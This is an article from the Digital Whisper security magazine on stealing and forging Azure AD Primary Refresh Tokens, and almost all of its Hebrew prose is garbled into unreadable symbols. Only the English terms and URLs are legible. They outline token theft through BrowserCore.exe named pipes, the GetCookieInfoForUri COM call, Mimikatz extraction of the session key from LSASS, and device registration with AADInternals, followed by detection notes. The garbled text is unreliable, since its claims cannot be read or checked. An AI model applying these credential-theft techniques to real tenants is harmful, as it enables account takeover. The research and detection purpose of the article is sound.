ˢˮˢ ˫˧˷˶˸ ˫ˬˢˬ ˧˸˶˴˧˷Υ 

 

ˢˮˢˣ ˢˮˣˬ˸ ˸˶ˡ˯ˬ˷ ˸˴˵ ˫˧˶˟ˡΥ 

 

¶ ˭˸˧ˮ ˸ˣ˞˶˪ ˧ˮ˞˷ ˸˶˟ˣ˥ˬ ˫˰ ˷ˬ˸˷ˬ ˧ˮ˧˧ˬˣˡ ύ˧ˡ˧˶˟˧ˢό 

¶ ˟˷˥ˬˢ ˣˬ˴˰ ˞˪ ˭˧˧ˬˣˡ˟ ύDomain Workgroupό 

¶ ˫˰ˣ ˸˞ˤ Σ˷˧ ˧˪ TGTΗ 

ˣˢˤ xʕ ˢ˸˧ˢ ˢˠˣ˲ˢ ˢ˪˧˪˵ ˴˧˲˪ ˶˴ˬ˷ ˭˥˞ ˧ˮ˧˰˟ Σ˨˧˷ˬˮ ˣˮ˪˷˟ J 
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PRT Attacks 

˷˧ ˭ˣˬˢ Σ˧ˮ˞ˣ ˞˪ ˢ˪ˣ˩˧ ˷˧ˠˡˢ˪ ˸˞ ˢˤ ˵˧˲˯ˬ - ˭ˣˬˢΗ 

ˮ˞˪ ˪ˡ˸˷˞ ˧˱˶˴ ˶ˣ˷˧˵ ˪˩˪ ˶ˬ˞ˬ ˧ˮ˞˷ ˸˶˩ˣˤ ˢˣˣ˷˷ ˞ˣ˶˵˪ ˱ˣ˯˟ ˶ˬ˞ˬˢ ˢˤˢΣ ˪˟˞ ˣˬ˩ ˷˟˶˞ 

˫˧˶ˬ˞ˬˢ ˧˪˷Υ ˧ˮ˞ ˢˮ˧ˬ˞ˬ ˢ˶˦ˬˢ˷ ˢ ˫ˢ˟˞˧ ˸˸˪ Ϧ˥˸˲˯Ϧ ˞˶ˣ˵˪ Σ˷˧ˠ˶˧˷ ˥ˣˮ˟ ˸˷ˠ˪ ˵˧ˬ˰ˢ˪ˣ ˷ˣˮ˟ ˞

ˣˬ˴˰˟ Φ˭˩˪ ˧ˮ˞ ˦˶˲˞ ˵˪˥ ˪˰ ˵˶ ˸ˣ˲˵˸ˬˢˬ ˭˞˩ Σ˵˶ ˧ˡ˩ ˭˧˟ˮ˷ ˸˞ ˦˲˯ˮˣ˵ˢ ˧˪˪˩ˢ ˪˷ ˸ˣ˲˵˸ˬ ˟˧˟˯ 

PRT Σ˧ˮ˞ˣ ˢ˶˧˴˲ˬ ˫˩˟ ˵˧ˬ˰ˢ˪ ˞˷ˣˮ˟ ˫˞ ˫˸˞˴ˬ x˟ ˭˧˧ˮ˰Η 

˷ˣˬ˧˷ ˟πBrowser ˧ˡ˩ ˠ˧˷ˢ˪ PRT π ˨˶ˡ '˞ )Jan-DirkBy ό 

˸˪˞˷ˮ ˢ˪˞˷ˢ Σ˨˧˞ ˢˡ˟ˣ˰ˢˬ ˢ˷πCreds ˧˪˷ ˫˧˶ˣˬ˷ ˟πCloudAP ˭˲ˡ˲ˡˢ ˧˪˷ ˰ˡˣ˧ ˸˥˵˪ ˫˸ˣ˞ 

˶˟˥˸ˢ˪ˣ ˪πAzureΚ ˤ˞ ˟πEdge ˢˤ ˦ˣ˷˲ ˢ˶ˣ˵ ˸˧˦ˬˣ˦ˣ˞ ˧˩ ˢˤ ˶˴ˣˬ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ ύ˧˪˶˦˧˪ ˞ˣˢ ˥˵ˣ˪ ˸˞ 

πsPRT ˢˬπCloudAP ˷ˬ˸˷ˬˣ x˟...όΦ ˟-chrome ˢˤ ˢ˶ˣ˵ ˸ˣ˰˴ˬ˞˟ ˱˯ˣ˸ ˭˲ˡ˲ˡ˪ ˫˷˟ BrowserCoreΦ 

˫˞ ˪˩˸˯ˮ ˪˰ ˳˟ˣ˵ ˦˯˲˧ˮˬˢ ˪˷ ˭˲ˡ˲ˡˢ ˢ˞˶ˮ ˞ˣˢ ˶˷˵˸ˬ ˟πstdio Σˢˬ ˶ˬˣ˞˷ ˨˶ˡ˟˷ ˸ˬ˧ˣ˯ˬ ˞ˣˢ 

˪˟˵ˬ input ˨˶ˡ stdin ˶˧ˤ˥ˬˣ ˢ˟ˣ˷˸ ˟πstdoutΥ 

 

˨˶ˡˢ ˢ˟ ˱˯ˣ˸ˢ ˷˧ˬ˷ˬ ˸˞ ˸˶ˣ˷˵˸ˢ stdio ˞˧ˢ ˸ˣ˰˴ˬ˞˟ Named Pipes Σ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˞ˬˠˣˡˢ 

ˢ˞˟ˢ ˧˲˪ ˠˣ˪ˢ ˪˷ Process Create ˟πEvent ViewerΥ 

 

https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
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˫˞ ˫˧˪˩˸˯ˬ ˪˰ ˸˶ˣ˷˵˸ˢ ˸˶˟ˣ˰˷ ˟πNamed Pipes ˭˸˧ˮ ˭˧˟ˢ˪ ˸˞ sπFlow ˷˥˶˸ˬ˷ ˭˧˟ ˭˲ˡ˲ˡˢ 

˨˧˪ˢ˸˪ ˪˷ ChromeΥ 

 
 ϐπIONinja ώ    

˱˯ˣ˸ˢ ˷ˬ˸˷ˬ ˢˡˣ˵˲˟ GetCookies ˫˰ s˫˧˶˦ˬ˶˲ ˫˧˞˟ˢΥ 

 

˪˟˵ˬˣ ˸˞ ˢ˟ˣ˷˸ˢ ˢ˞˟ˢΥ 

 

˫˞ ˪˩˸˯ˮ ˪˰ ˢˡ˷ˢ data Σˢ˞˶ˮ ˭˩ˣ˸ˢ˷ ˣ˪˷ ˪˧˩ˬ ˸ˤˣ˶˥ˬ ˧˥˸ˬ˷ˢ˪ ˟πέeyJh Σέ˫˞ˣ ˫˸˞˶˵ ˸˞ 

˶ˬ˞ˬˢ ˫ˡˣ˵ˢ ˧˪˷ ˫˸˞ ˫˧˰ˡˣ˧ ˢˤ˷ ˞ˣˢ ˭ˬ˧˯ ˪πJWTΗ Φ˪˩ˣˮ ˥ˮ˰˲˪ ˣ˸ˣ˞ ˶˸˞˟ https://jwt.io/ 

  

https://ioninja.com/
https://jwt.io/


 
 

Primary Refresh Token     
.DigitalWhisper.co.ilwww 

˭ˣ˧˪ˠ 163, x˧˪˧ нлнп  пу 
 

˧˶ˢˣ ˣˮ˪ ˷ˬˣˢ ˶˟˩ ˢ˟˶ˢ ˶˸ˣ˧ ˶˩ˣˬΥ 

 

πsrefresh_token ˞ˣˢ ˫˴˰˟ sπPRT ˣˮ˪˷ Η 

˸˥˞ ˸ˣ˲˵˸ˬˢ ˣ˷ˬˣˬ˷ ˧˪˩˟ RoadToken ˞˧ˢ ˷ˬ˸˷ˢ˪ ˨˧˪ˢ˸˟ browserCore.exe ˪˰ ˸ˮˬ ˥ˣ˪˷˪ ˸˞ 

ˢˡˣ˵˲ˢ GetCookies ˪˟˵˪ˣ ˢ˶ˤ˥ PRTΦ ˸˞ s-PRT ˣˮ˪˟˧˵˷ ˪˩ˣˮ ˦ˣ˷˲ ˯˧ˮ˩ˢ˪ ˪πHeader ˩πValue ˢˡ˷˪ 

x-ms-RefreshTokenCredential :˫˧˸ˬˣ˞ˬ ˸ˣ˧ˢ˪ ˧ˡ˩ 

 

 

˷ˣˬ˧˷ ˟πBrowser ˧ˡ˩ ˠ˧˷ˢ˪ PRT π ˨˶ˡ '˟ )Lee ChristensenBy ό 

˨˶ˡ ˸˲˯ˣˮ ˷ˬ˸˷ˢ˪ ˟πbrowserCore.exe ˪˰ ˸ˮˬ ˠ˧˷ˢ˪ PRT ˞˧ˢ ˸ˣ˰˴ˬ˞˟ ˦˵˧˧˟ˣ˞ COMΦ ˫˞ 

˫˧˪˩˸˯ˬ ˡˣ˵˟ ˪˷ ˱˯ˣ˸ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˞ˣˢ˷ ˷ˬ˸˷ˬ ˟πcoCreateInstance ˫˰ sπCLSID ˞˟ˢΥ 

 

˭˲ˣ˞˟˷ ˰˧˸˲ˬ ˢ˧ˢ ˡ˰ˣ˸ˬ ˦ˮ˶˦ˮ˧˞˟: 

https://learn.microsoft.com/en-us/windows/win32/api/proofofpossessioncookieinfo/nn-

proofofpossessioncookieinfo-iproofofpossessioncookieinfomanager 

˶ˣ˞˧˸ˢˣ ˣ˪˷ ˞ˣˢΥ ϦSupports the creation of proof of possession cookies.ΦϦ ˰ˬ˷ˮ ˷ˬˬ 

˥˧˦˟ˬ ˫˞ ˫˸˞ ˫˧˪˞ˣ˷ ˧˸ˣ˞ Φ˦˵˧˧˟ˣ˞ˢ ˢˤˢ ˷ˬˬˬ ˢˡˣ˸ˬ ˫˷˟ ΥGetCookieInfoForUri ˭˲ˣ˞˟˷ 

˰˧˸˲ˬ ˢ˶˧ˤ˥ˬ ˵ˣ˧ˡ˟ ˸˞ ˢˬ ˣˮ˥ˮ˞˷ ˫˧˩˧˶˴ Η˸˞ sπPRT J 

ˢ˲ˬ ˨˶ˡˢ ˢˢˤ Σ˫˧˷ˮ ˣ˸ˣ˞ ˢˡ˷˟ x-ms-RefreshTokenCredential ˭˲ˣ˞˟ˣ ˧˦ˬˣ˦ˣ˞ ˢ˧ˢˮ ˫˧˸ˬˣ˞ˬΦΦΦ 

https://medium.com/@tifkin?source=post_page-----2b0409caad30--------------------------------
https://learn.microsoft.com/en-us/windows/win32/api/proofofpossessioncookieinfo/nn-proofofpossessioncookieinfo-iproofofpossessioncookieinfomanager
https://learn.microsoft.com/en-us/windows/win32/api/proofofpossessioncookieinfo/nn-proofofpossessioncookieinfo-iproofofpossessioncookieinfomanager
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˫˞ ˸˯ˮ˪˩ ˪˰ ˢ˷ˬ˷ˢˢ ˪˷ ˢˡˣ˸ˬˢ GetCookieInfoForUri ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˭ˣ˧ˬˡˢ ˭˧˟ ˧˸˷ ˸ˣ˦˧˷ˢ 

ˢ˶ˣ˴˟ ˸˵ˢ˟ˣˬ Σ˶˵˧˰˟ ˦˵˧˧˟ˣ˞˟ ˶ˤˣ˥˷ ˪˧˩ˬˢ ˢˮ˟ˬ ˢˢˤ ˢˮ˟ˬ˪ ˣˮ˞˴ˬ˷ ˟πstdin ˪˷ sπNamed Pipe 

ύsπdata ˪˧˩˧ ˸˞ sπPRT ˡˡˣ˵ˬˢ ˟πBase64όΥ 

 

˫˴˰˟ ˣˮ˥ˮ˞ ˫˧˪˩˸˯ˬ ˭˞˩ ˪˰ ˧˸˷ ˸ˣ˦˧˷ ˸ˣˠ˧˷ˬ˷ ˸˞ ˞ˣ˸ˣ ˶˟ˡˢ ˧˸˷˟ ˫˧˩˶ˡ ˸ˣˮˣ˷ Σˢˤ ˞˶ˣˮ ˭˧˧ˮ˰ˬΗ 

˨˶ˡ ˸˥˞ ˧s˧ˢ˸ ˶˷˵˸˪ ˸ˣ˶˧˷˧ ˪ˣˬ sπPipe Σ˥ˢ˧˭ˣ˶˯ ˨˶ˡ˟ ˣˤˢ ˞˧ˢ ˨˧˶˴˷ ˶ˣ˴˧˪ Instance ˪˷ 

browserCore.exe ˢˤˣ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧l ˷˰ˣ˶Φ 

˨˶ˡˢ ˢ˧˧ˮ˷ˢ ˢ˪˪˩ ˢ˷ˬ˷ˢ ˪˷ COMObject ˥ˢˣ˧˭ˣ˶˯ ˧˶˵˧˰ˢ ˢ˪˷ ˞ˣˢ ˢˤ˷ ˷˶ˣˡ ˵˯˰˸ˢ˪ ˫˰COM 

Objects ˢˤˣ ˦˪˥ˢ˟ ˞˪ ˶˟ˡ ˱˧˩ΦΦΦ 
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˸˞˴ˣˢ s-PRT ˬ-LSASS )Jan & Benjamin Delpy-Dirk(By  

ˢˡ˧ˬ˟ ˭˧˞ˣ TPM ΣπsPRT ˶ˬ˷˧˧ ˟πCloudAP Σ˞ˣ˪ˢ ˞ˣˢ Authentication Package ˞˴ˬˮ˷ ˟πLSASSΦ ˪˟˞ 

˩˧˲ ˧˸ˮ˧˧˴˷ ΣπsPRT ˞˪ ˢˣˣ˷ ˫ˣ˪˩ ˧˪˟ ˥˸˲ˬˢ ˫˸ˣ˥˷ ˣ˸ˣ˞ Φ˪ ˨˞ˣˮ˪ˤˬ Σ˫ˠ ˸˞ ˥˸˲ˬˢ ˭˸˧ˮ ύ˨˶˰˟ ό

˳˪˥˪ ˬπLSAΦ 

˩ ,˸ˣˬˡˣ˵ˢ ˸ˣ˲˵˸ˬˢ ˧˸˷˟ ˣˮ˧˞˶˷ ˣˬ˩˶˷˞ ˸˰˴˟˸ˬ ˸ˣ˸ˬ˞˸ˢ ˪πAzure ˸ˣ˰˴ˬ˞˟ PRT Σ˪˷ˮ ˸˥

 ˢ˧˧ˠˣ˰˫˷˟ x-ms-RefereshTokenCredential ύ ˣˤ ˢ˧˧ˠˣ˰˫˧˸˧˰˪ ˞˶˵ˮ ˸˫ˠ ϦPRT CookieϦ  ˶˟˩˷ ˣˬ˩ˣ

˩ ˶ˣˬ˷ ˢ˪˷ ˭˩ˣ˸ˢ ,ˣˮ˟ˢπJWTΦό sπJWT ˟˩˶ˣˬ ˬ-о ˫˧˵˪˥Υ 

¶ Header 

¶ Payload 

¶ Signature 

˫˧ˡ˶˲ˣˬ˷ ˸ˣ˰˴ˬ˞˟  Φ˫˧ˡˡˣ˵ˬˣ ˟-Base64Φ ˢˮˢ ˞ˬˠˣˡ ˪-PRT Cookie ύ˵˶ ˵˪˥ˢ ˪˷ Header xπBody 

˧˶˥˞ ˣˮ˧˷˰˷ ˫ˢ˪ Base64 DecodeόΥ 

 

πsRefresh Token ˟πPayload ˞ˣˢ sπPRT ύ˭˸˧ˮ ˸ˣ˞˶˪ ˸ˣ˰˴ˬ˞˟ ˢˡ˷ˢ is primary - trueΦό ˞ˣˢ ˭˲˴ˣˬ 

˸ˣ˰˴ˬ˞˟ ˥˸˲ˬ ˷˧˷ ˵˶ ˪πAzureAD ˨˩ ˣˮ˥ˮ˞˷ ˞˪ ˸ˬ˞˟ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˸˞ ˭˩ˣ˸ˢ ˣ˪˷Φ ˸˶˦ˬ sπnonce 

˞˧ˢ ˸ˣ˧ˢ˪ ˸˧ˡˣ˥˧˧ ˶˲ Session ˨˩ ˪˩ˣˮ˷ ˷ˬ˸˷ˢ˪ ˟πcookie ˢˤˢ ˵˶ ˶ˣ˟˰ s-Session ˧˥˩ˣˮˢ Φ˪˩ sπJWT 

ˢˤˢ ˫ˣ˸˥ ˸ˣ˰˴ˬ˞˟ SessionKey Σ˞ˣˢˣ ˫˴˰˟ s-ˡˣ˯ ˶ˣ˲˧˯˟ ˣˮ˪˷ Σˣ˧ˡ˰˪˟ sπPRT ˞˪ ˢˣˣ˷ ˫ˣ˪˩ΦΦΦ 

˨˧˪ˢ˸ ˢˬ˧˸˥ˢ ˪˷ sπJWT ˞ˣˢ ˡ˩˪˭˪ˢ ύˢˡ˧ˬ˟ ˭˧˞ˣ TPMόΥ 

мΦ CloudAP ˥˵ˣ˪ ˸˞ sπPRT ˠˬˣ˦˶ˮ ctx ˧˪ˬˣˡˮ˶ ύ˦ˣ˷˲ нп ˫˧˦˧˧˟ ˫˧˪ˬˣˡˮ˶ό 

нΦ ˶˥˞˪ ˭˩ˬ ˞ˣˢ ˥ˮ˰˲ˬ ˸˞ sπSessionKey ˭˲˴ˣˬˢ ˸ˣ˰˴ˬ˞˟ DPAPI 

оΦ ˭˩ˬ ˶˥˞˪ sπSessionKey ˥ˮ˰ˣ˲ˬˢ sxπctx ˫˧˶˟˰ˣˬ ˢ˧˴˵ˮˣ˲˪ BCryptKeyDeriviation ˸ˣ˰˴ˬ˞˟ sπ

Label: AzureAD-SecureConversation"Ϧ 

пΦ ˬ ˢ˟ˣˠ˸˟˪˟˵˸ ˥˸˲ˬ ˣ˸˧˞ ˫˧ˬ˸ˣ˥ ˸˞ sπJWT 

рΦ ,˱ˣ˯˟ AzureAD ˥ˮ˰˲ˬ ˸˞ sπPRT ˣˬ˴˰ ˪˧˩ˬ˷ ˸˞ sπSessionKey Σ˟˪˷ˬ ˸˞ ˣ˸ˣ˞ ˫˰ sπctx ˢˬπ

JWTHeader ˠˬˣ˦˶ˮ ˣˬ˴˰˟ ˸˞ ˣ˸ˣ˞ ˥˸˲ˬˢ ˣˮˬ˸˥˷ ˣ˸˧˞ ˸˞ sπJWT Φ˨˩ ˞ˣˢ ˪ˣ˩˧ ˸ˬ˞˪ ˫˞˷ ˷˧ 

ˣˮ˪ ˸˞ ˥˸˲ˬˢ ˭˩˞ ˢ˸˧ˢ ˣˮ˪ ˢ˷˧ˠ ˪πSessionKeyΦ 

https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
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ˤ˞ ˫˴˰˟ Σˢˡ˧ˬ˟ ˣˮ˥ˮ˞ˣ ˪˰ ˟˷˥ˬ ˪˧˩ˬ˷ PRT ˪˩ˣˮ ˸˷ˠ˪ ˪πLSASS Σ˶˯˶˲˪ ˸˞ CloudAP Σ˳˪˥˪ ˞ ˪˩ ˸

 ˪˰ ˫ˣ˸˥˪ ˸ˮˬ ˪˰ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˢˬJWT  !ˣˮ˪˷ˬ 

 ˸˞ ˳˥˪˟ ˪˧˥˸ˮπsPRT ˸˞ˣ sπProofOfPosessionKey ύˢˤ˷ ˫˴˰˟ sπSessionKey ˭˲˴ˣˬˢό ˸ˣ˰˴ˬ˞˟ 

MimikatzΥ 

 

˶˥˞˪ ˭˩ˬ Σ˨˶˦˴ˮ ˥ˮ˰˲˪ ˣ˸ˣ˞ ˫˰ DPAPI ύ˨˶ˣ˴˪ ˨˩ ˨˶˦˴ˮ ˷ˬ˸˷ˬ SYSTEM Σˤ˞ ˪ˤˬ ˫ˠ˷ ˢ˩˩ ˸˞ ˪˩ 

˶˟ˡˢ ˢˤˢ ˣˮ˧˷˰ ˫˰ MimikatzΦΦόΦΥ  

 

˱ˣ˯˟˪ˣ Σ˞ˣ˶˵˪ ˢ˧˴˵ˮˣ˲˪ BCryptKeyDeriviation ˶ˣ˴˧˪ˣ ˢˬ˧˸˥ ˪πJWT ˣˮ˪˷Η 
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˰ˣ˴˧˟ Device Registration ˪-Device ˱˧ˣˤˬ  ˸ˠ˷ˢˣPRT )Nestori Syynimaa(By  

˨˶ˡ ˢˮˣ˶˥˞ ˶ˬ˞ˬ˪ ˢˤ ύ˧ˡˣ ˸˷˵˟˸ˬ, ˷˧ ˭˧˧˴˪(... ˸ˠ˷ˢ˪ PRT ˞˧ˢ ˶ˣ˴˧˪ Device ˱˧ˣˤˬ Σ˰˴˟˪ ˸˞ ˨˧˪ˢ˸ 

ˢˬ˷˶ˢˢ Σ˪˟˵˪ ˢˡˣ˰˸ ˱˧˧ˤ˪ˣ ˨˧˪ˢ˸ ˸ˣ˸ˬ˞˸ˢΦ 

˪˩ ˨˧˪ˢ˸ˢ ˢˤ ˷ˬˣˬ ˪˩˟˫˷˟ ˧ AADInternals ˸ˬ˞˟˷ ˪˧˩ˬ ˫ˣ˧˩ ˡˣ˵ ˷ˣˬ˧ˬ˪ ˦˰ˬ˩ ˪˩ ˢ˲˵˸ˬ ˫˪ˣ˰˟ 

πsAzureAD ˧ˮ˞ˣ ˢ˴˧˪ˬˬ ˷ˬ˸˷ˢ˪ x˟ ύˣ˪˧˲˞ˣ ˱˧˯ˣˢ˪ x˪ ˸ˣ˪ˣ˩˧ ˫˞ ˫˸˞ ˫˧˞˴ˣˬ ˬ ˣ˟ˣˢ˷ ˶˯˥˷όΗΦ 

˪˧˥˸ˮ ˰˴˟˪ˬ Device Registration Σ˪˧˟˷˟ ˢˤ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ Token ˪πDRS ύ˧˲˩ ˸˷˧˧˸˶˞ ˨˧˪ˢ˸˟ 

˸˪˧˥˸˟ ˶ˬ˞ˬˢΦό ˶˴˧˧ˮ ˣˮ˧ˬ˴˰˪ ˧ˡˬ˴ ˸ˣ˥˸˲ˬ Transport Key ΣDevice Key ˶ˣ˴˧ˮˣ CSR Σ˨˩ ˢ˞˶ˮ ˭˩ˣ˸ˢ 

˪˷ ˢ˷˵˟ˢΥ 

 

˪˩ˣˮ ˭˟ˣˬ˩ ˯˧ˮ˩ˢ˪ ˭˞˩ ˢˤ˧˞ ˢ˧˴ˬ˶ˣ˲ˮ˧˞ ˢ˴˶ˮ˷ Σ˨˶ˣ˴˪ ˮ˰ˢ˧˭˧ ˫˷˟ ˟˷˥ˬˢ x˞ ˸˩˶˰ˬ ˢ˪˰˲ˢˢΦ ˸˰˩ Σ

˫˰ ˢˡˣ˰˸ˢ ˣˮ˪˟˧˵˷ ˢˬ-DRS Σ˪˩ˣˮ ˫ˣ˸˥˪ ˪˰ ˟˸ˣ˷˵ ˸˪˟˵˪ PRTΗ 

ˢ˶˰ˢ: ˭˧˞ ˣˮ˪ ˢ˲ ˢ˧˰˟ ˫˰ ˥ˣˮ˰˧˲ ˪˷ SessionKey ˫ˣ˷ˬ ˷˧˥˶˸˟˷ ˢˤˢ ˷˧ ˣˮ˪ ˢ˷˧ˠ ˥˸˲ˬ˪ ˧˦˶˲ˢ ˪˷ sπ

Ϧdeviceύ Ϧ˯'˪˩˸˷ ˞˪ ˸ˬ˞˟ ˫˧˧˵é Σό˭˩˪ˣ ˶˷˲˞ ˥ˮ˰˲˪ ˢ ˸˞˪˩ ˧˪˟ ˢ˧˰˟ ˧˲˩ ˢ˧ˢ˷ ˢ˶ˣ˵ ˟πDevice ˧˸˧ˬ˞Φ 

 

  

https://aadinternals.com/post/prt/
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˸ˡˣ˟˰ ˭ˠˬˢ 

ˤ˞ ˞˵ˣˣˡ ˢ˶˵ˬ˟ ˪˷ Azure Σ˸˧˯˥˧ ˪˵ ˸ˣˢˤ˪ ˷ˣˬ˧˷ ˧˪˩˟ ˢ˲˧˵˸ ˧˩ ˫ˢ ˡˣ˰ ˞˪ ˟˪˷˟ ˪˷ ˸ˣ˯ˮ˪ ˞˟˥˸ˢ˪ 

ύˤ˞ ˢˣˣ˷ ˪˴ˮ˪ ˸˞ ˢˤ Σˡˣ˰ ˢˬ˩ ˫˧ˮ˷ ˶˟˩ ˞˪ ˞˴ˬˮ ˫˸ˣ˞...όΦ 

˸˞ RoadRecon ˪˩ˣ ˫˧˪˩ˢ ˪˷ dirk-jan ˧˧ˡ ˪˵ ˸ˣˢˤ˪ ˧˩ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˫ˢ ˡ˧ˬ˸ ˫˧˷˵˟ˬ Token ˪π

Powershell AppID ύ˞ˣˢ˷ ˧˦˦˯ ˪˩˟ TenantΦό ˣˬ˩ ˭˩ Σˢ˶˵ˬ˟ ˪˷ ˷ˢˢˢ˷ˬ ˣ˪˷ ˱˯ˣ˸˪ ˭˲ˡ˲ˡˢ ˪˩ˣˮ 

˸ˣˢˤ˪ ˪˩ ˢ˴˶ˢ ˢ˶ˤˣˬ ˪˷ broserCore ύ˪˷ˬ˪ ˞˪ ˪˰ ˧ˡ˧ cmd Σˣ˞ ˞˪˪ sπNamed PipesόΦ 

ˢ˶˵ˬ˟ ˪˷  ˦˵˧˧˟ˣ˞ˢ ˸ˮ˧˰˦COM ˟ ˷ˣˬ˧˷ˣ-GetCookieInfoForUri ˸ˣˢˤ˪ ˪˩ˣˮ :˪˩ ˢˮ˧˰˦ ˪˷ sπDLL ˪˷ 

˞ˢ˦˵˧˧˟ˣ .MicrosoftAccountTokenProvider ˪˷ˬ˪ ˫˧ˠˣ˪˟ ˪˷ Sysmon EventID 7 - Image loadedΦ 

˧˟ˠ˪ ˶ˣ˯˶˲ˢ ˪˷ CloudAP ˸˞˴ˣˢˣ sπPRT ˣ˩˶ˡ Σ˭˞˩ ˶˟ˣˡˬ ˟πLSASS Access ˧˯ˣ˲˧˦ ˪˩˷ ˢ˶˟˥ ˸˧˪˞ˬ˶ˣˮ 

ˢ˶ˣˬ˞ ˸˰ˡ˪ ˸ˣˢˤ˪ΦΦΦ  

˫˞ ˧˩ Σ˞˴˧ ˷ˬˬ ˢˮˣ˶˥˞˪ ˧˪˩ ˷ˡ˥ ˫˷˟ lsa whisperer ˷˧ˬ˷ˬ˷ ˸ˣ˞˧˶˵ ˸ˣ˧˴˵ˮˣ˲˪ ˪˷ AP ˫˧ˮˣ˷ ˨ˣ˸˟ 

LSAΣ ˢˬ ˶ˬˣ˞˷ ˭˸˧ˮ˷ ˰˴˟˪ ˢ˧˴˵˞˶˦ˮ˧˞ ˫˰ CloudAP ˧˪˟ ˢ˷˧ˠ ˪πLSASSΗ ˢ˪˞˷ˢ ˞˧ˢ ˫˞ˢ ˧˪˩ˢ 

˷˧ˬ˷ˬ ˸˞ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣ˴ˣ˥ˮˢ ˨˶ˣ˴˪ ˸ˠ˷ˢ sπPRT Φ 

˪˩˟ ˢ˶˵ˬ Σˢ˲˵˸ˬˢ ˣˮ˪˷ ˸˷˶ˣˡ ˸˴˶ˢ ˡˣ˵ ˪˰ s-Joined Device ˢ˶˵ˬ˟ˣ ˪˷ Mimikatz ˫ˠ ˸ˣ˞˷˶ˢ˟ 

SYSTEM ˨˶ˣ˴˪ ˥ˣˮ˰˧˲ˢ ˪˷ ˥˸˲ˬˢ ˫˰ DPAPI Σ˨˩ ˧ˣ˪˧ˠ˷ ˪˷ ˸ˣˠˢˮ˸ˢ xʕ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˷˵˟˸ˬ ˪˩ˬ 

ˢ˶˟˥ ˸˵˲˯ˬ˷ ˧˶˴ˣˬ EDR ˢ˪˞˩ ˫˧˶˥˞ˣ Φ 

˧˟ˠ˪ ˱ˣ˧ˤ ˪˷ Device Registration Σ˸˞ ˢˤ ˞˵ˣˣˡ ˪˵ ˸˧˯˥˧ ˸ˣˢˤ˪ Σ˭˩˷ ˸˪˟˵ Token ˸ˣ˶˧˷˪ sDRS-

ˢ˶ˣˬ˞ ˰˴˟˸ˢ˪ ˪˰ ˧ˡ˧ Authentication Broker App ˞˪ˣ ˪˰ ˧ˡ˧ Powershell AppΧ  
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˫ˣ˩˧˯ 

˧˲˩ ˧˸˶˞˧˸˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ Σˣ˸˶˦ˬ ˧sˢ˸˧ ˶˧˩ˢ˪ ˫˩˪ ˸˞ ˦˲˯ˮˣ˵ˢ ˪˷ PRT ˸˸˪ˣ ˫˩˪ ˫˧˪˩ ˨˧˷ˬˢ˪ 

˵˧ˬ˰ˢ˪ ˞˷ˣˮ˟ Σ˧ˮ˞ ˢˣˣ˵ˬ ˧˸ˡˬ˰˷ ˢˬ˧˷ˬ˟ ˢ˥˪˴ˢ˟Φ 

SSO ˞ˣˢ ά˶˟ˡˢ ˥ˢ ˫˫˪ˣ˰˟ ˢ˧˴˵˧˦ˮ˸ˣ˞ˢ ˭ˮ˰˟ ˞ˣˢˣ ˞˪ˬ ˸ˣˮˣ˧˰˶˟ ˫˧˷ˡ˥ ˫˧˪˟˶ˣ˯ˬˣ ˪˩˷ ˡ˥˞ ˫ˢˬ 

˰˧ˠ˲ ˸ˣ˲˵˸ˬ˪ ˸ˣˮˣ˷ ˸ˣˮˣ˷ˬˣ Φ˧ˮ˞ ˢ˴˧˪ˬˬ ˯ˮ˩ˢ˪ ˣ˧˪˞ ˸ˣˮ˧ˡ˰˟ Σˡ˰˴ ˶˥˞ ˡ˰˴ Φˢ˸˧xˮ! J 

 

˸˶˟˥ˬˢ ˪˰ 

 sapirxfed Ϫˢ˷ˣ˰ retweet ˪˩˪ ˶˟ˡ ˶ˣ˷˵˷ ˪πAD x˞ πAAD  ,˟ˣ˦)ˢˮˣ˶˥˞˪ˣ ˫ˠAWS  ΦΦΦJΦό ˸˟ˢˣ˞ 

ˣ˸˩˪ ˟ˡˣ˵ Σˢ˯ˮˬ ˞ˣ˴ˬ˪ ˸ˣ˷˪ˣ˥ Σˢ˴˧˶˰ˬˣ ˢ˲ˣ˶˷ ˪˷ DigitalWhisperΗ 

 

˧˲˶ˠˣ˧˪˟˧˟ˢ˞˧˶˵ ˨˷ˬˢ˪ ˫˧˶ˬ˞ˬˣ ˢ 

https://aadinternals.com/post/prt/ π ˶ˬ˞ˬ ˪˰ PRT ˣ˟˷ ˞˴ˬˮ ˶˟˯ˢˢ ˪˰ ˸ˠ˷ˢ PRT ˸ˣ˰˴ˬ˞˟ ˱ˣ˧ˤ ˪˷ Device 

RegistrationΦ 

token/-refresh-primary-the-with-sso-ad-azure-https://dirkjanm.io/abusing π ˶ˬ˞ˬ ˶˧˟˯ˬ˷ ˪˰ PRT ˢˮ˟ˬˢˣ 

ˣ˪˷ ˭˩ˣ ˪˰ ˨˧˞ ˷ˬ˸˷ˢ˪ ˟-BrowserCore.exe ˧ˡ˩ ˠ˧˷ˢ˪ PRT ˣ˰˴ˬ˞˟ ˸˸˶ˣ˷˵˸ ˢ˶˧˷˧ ˪ˣˬ sπNamed PipesΦ 

token/-refresh-primary-the-into-further-https://dirkjanm.io/digging π ˶ˬ˞ˬ ˶˧˟˯ˬ˷ ˶˸ˣ˧ ˵ˬˣ˰˪ ˪˰ CloudAP 

˪˰ˣ ˨˧˪ˢ˸ ˶˵˥ˬˢ ˣ˲ˣ˯˟˷ ˣ˥˧˪˴ˢ ˪˳˪˥ PRT ˨ˣ˸ˬ CloudAPΦ 

tokens-request-ad-azure-https://posts.specterops.io/requesting π ˶ˬ˞ˬ ˶˧˟˯ˬ˷ ˪˰ CoreBrowser.exe ˡ˴˧˩ˣ 

ˣ˷ˬ˸˷ˢ ˟πCom Objects ˧ˡ˩ ˶ˣ˴˧˪ PRTΦ 

